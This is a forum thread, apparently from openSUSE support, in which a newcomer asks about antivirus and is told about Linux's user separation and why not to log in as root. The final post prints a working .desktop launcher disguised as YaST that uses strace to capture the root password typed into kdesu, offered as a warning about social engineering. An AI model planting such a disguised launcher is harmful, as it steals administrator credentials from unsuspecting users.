Step by step AV install Guide Plz..

Hi, i’m new with this open suse 10.3, what and how do i install AV, plz guide me.

what do you mean by AV? Anti-virus? If so, there’s no real need at the moment to run an antivirus software on Linux (unless you’re using your machine as a mail server for windows boxes)

Yes Anti Virus.
So, i don’t need it huh?Will it be ok and why is that?

At the moment, virusses are not a threat to linux. First there are no real virusses for linux, second is the separation between the system and the users. That’s why users in this forum keep on telling you NOT TO LOGIN AS ROOT, and certainly not to go browsing the internet as root: root is the omnipotent system user.

If you don’t understand it all, accept it for now. Like you accepted that you did need an AV when running Windows. Ever sent a mail to Microsoft asking them why they make an operating system that’s vulnerable to virusses? :wink:

ok, i accept it.
How do i know NOT TO LOGIN AS ROOT?Am i login as a root now?coz every time i boot its automatically log in and ready to use.
Sorry for the trouble, newbie here.

If it logs in automatically, then you’re fine. If you ever aren’t sure, get to a terminal and type ‘whoami’. If it says root you’re root - nobody else has superuser powers unless you’ve deliberately given them to them.

Basically, log in with your normal username everywhere. If you need to do something that it won’t let you do, either open a root terminal, or open a normal terminal and run ‘su -’ and ‘exit’ when you’re done. That way you’re limiting the root powers to what you actually need them for, rather than running a whole graphical environment as root - a recipe for disaster.

If you need to do maintenance, booting into runlevel 3 (typing ‘3’ in the kernel parameters box in grub) and logging in as root is harmless - but you wouldn’t want to do it all the time.

If you choose ‘log out’ in the graphical environment it should give you a login screen. That’s the spot to almost always avoid logging in as root - you should only do so in the direst of circumstances. It might make things appear easier for a beginner, but basically you’re circumventing the entire linux security model, and it was put there for a reason.

kuszmania9999 wrote:
> ok, i accept it.
> How do i know NOT TO LOGIN AS ROOT?Am i login as a root now?coz every
> time i boot its automatically log in and ready to use.
> Sorry for the trouble, newbie here.

open a terminal (open this way: Menu > System > Terminal > Konsole (or
Gnome Terminal, Terminal Emulator, etc)

in the terminal type:


and, press enter

then, look in the left column, you should see your user name a few
times…and NO instances of ROOT…

enjoy Linux…you got a lot of learning to do…start here:


I’d like to expand this a little whilst the design nature of Linux makes it a lot more secure by default there is nothing that can be done about user stupidity…(Note not calling anyone stupid)

Now you have this How to write a Linux virus in 5 easy steps which is highlighting that files in the .desktop file format will not need executing bits… and having tested this in both dolphin, konqueror and pcmanfm(Only with) with and without the file ending in desktop.

[Desktop Entry]
Exec=strace -o /home/$USER/here kdesu -d yast2; grep PASS /home/$USER/here > pass
GenericName[en_GB]=Administrator Settings
GenericName=Administrator Settings

Now save it as ~/.local/share/applications/YaST.desktop :wink: now click on yast in the menu then look at the dump in here and ~/Documents/pass. I won’t get into I was trying further by actually looking at dbus calls and sending mail silently. Yes initially this might of needed a wget and mv to get this file into the correct place but still(The first desktop file you use can do that)… This was done with a default install I needed to add nothing.

So if someone can tempt you into opening an attachment and click it, then malicious intent can be used.